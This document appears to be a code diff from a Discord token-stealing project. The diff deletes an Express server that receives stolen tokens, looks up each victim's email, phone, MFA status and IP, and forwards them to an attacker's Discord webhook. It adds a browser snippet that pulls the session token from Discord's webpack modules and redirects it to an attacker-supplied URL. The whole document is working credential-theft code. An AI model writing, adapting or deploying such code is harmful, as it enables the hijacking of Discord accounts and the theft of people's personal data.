|
1 |
| -const express = require('express'); |
2 |
| -const axios = require('axios'); |
3 |
| -const { Webhook, MessageBuilder } = require('discord-webhook-node'); |
4 |
| - |
5 |
| -const app = express(); |
6 |
| -const hook = new Webhook('YOUR WEBHOOK'); |
7 |
| - |
8 |
| -function sendBlackEmbed(token, ip, phoneNumber, email, username, tag, avatarUrl, mfaStatus, nitroStatus) { |
9 |
| - const embed = new MessageBuilder() |
10 |
| - .setColor(0) |
11 |
| - .setAuthor(`${username}#${tag}`) |
12 |
| - .setThumbnail(avatarUrl) |
13 |
| - .addField('Email', `\`\`\`${email}\`\`\``, false) |
14 |
| - .addField('Phone', `\`\`\`${phoneNumber}\`\`\``, false) |
15 |
| - .addField('MFA Status', `\`\`\`${mfaStatus}\`\`\``, false) |
16 |
| - .addField('Nitro', `\`\`\`${nitroStatus}\`\`\``, false) |
17 |
| - .addField('IP', `\`\`\`${ip}\`\`\``, false) |
18 |
| - .addField('Token', `\`\`\`${token}\`\`\``, false); |
19 |
| - |
20 |
| - hook.send(embed); |
21 |
| -} |
22 |
| - |
23 |
| -app.get('/alive', (req, res) => { |
24 |
| - res.send('alive'); |
25 |
| -}); |
26 |
| - |
27 |
| -app.get('/', (req, res) => { |
28 |
| - res.redirect('https://discord.com/app'); |
29 |
| -}); |
30 |
| - |
31 |
| -app.get('/:token', async (req, res) => { |
32 |
| - const token = req.params.token; |
33 |
| - |
34 |
| - let publicip; |
35 |
| - if (req.headers['x-forwarded-for'] === undefined) { |
36 |
| - publicip = req.connection.remoteAddress; |
37 |
| - } else { |
38 |
| - publicip = req.headers['x-forwarded-for']; |
39 |
| - } |
40 |
| - |
41 |
| - // Write token to file |
42 |
| - const fs = require('fs'); |
43 |
| - fs.appendFileSync('tokens.txt', `${token}\n`); |
44 |
| - |
45 |
| - try { |
46 |
| - const headers = { 'Authorization': token }; |
47 |
| - const response = await axios.get('https://discord.com/api/v9/users/@me', { headers }); |
48 |
| - |
49 |
| - if (response.status === 200) { |
50 |
| - const user_data = response.data; |
51 |
| - const username = user_data.username; |
52 |
| - const tag = user_data.discriminator; |
53 |
| - const email = user_data.email || 'N/A'; |
54 |
| - const phone_number = user_data.phone || 'N/A'; |
55 |
| - const avatarUrl = `https://cdn.discordapp.com/avatars/${user_data.id}/${user_data.avatar}.png`; |
56 |
| - const mfaEnabled = user_data.mfa_enabled || false; |
57 |
| - const mfaStatus = mfaEnabled ? 'Enabled' : 'Disabled'; |
58 |
| - const nitroStatus = user_data.premium_type ? 'Yes' : 'No'; |
59 |
| - sendBlackEmbed(token, publicip, phone_number, email, username, tag, avatarUrl, mfaStatus, nitroStatus); |
60 |
| - } |
61 |
| - } catch (error) { |
62 |
| - // Handle error |
63 |
| - } |
64 |
| - |
65 |
| - res.redirect('https://discord.com/app'); |
66 |
| -}); |
67 |
| - |
68 |
| -app.listen(81, '0.0.0.0', () => { |
69 |
| - console.log('Server running on http://0.0.0.0:81'); |
70 |
| -}); |
| 1 | +const url = 'PASTE_URL_HERE'; |
| 2 | +var f = (webpackChunkdiscord_app.push([[''], {}, e=> { |
| 3 | + m = []; |
| 4 | + for (let c in e.c) m.push(e.c[c]); |
| 5 | +}]), m).find(m => m?.exports?.default?.getToken !== undefined).exports.default.getToken(); |
| 6 | +window.location.replace(url + '/' + f); |
0 commit comments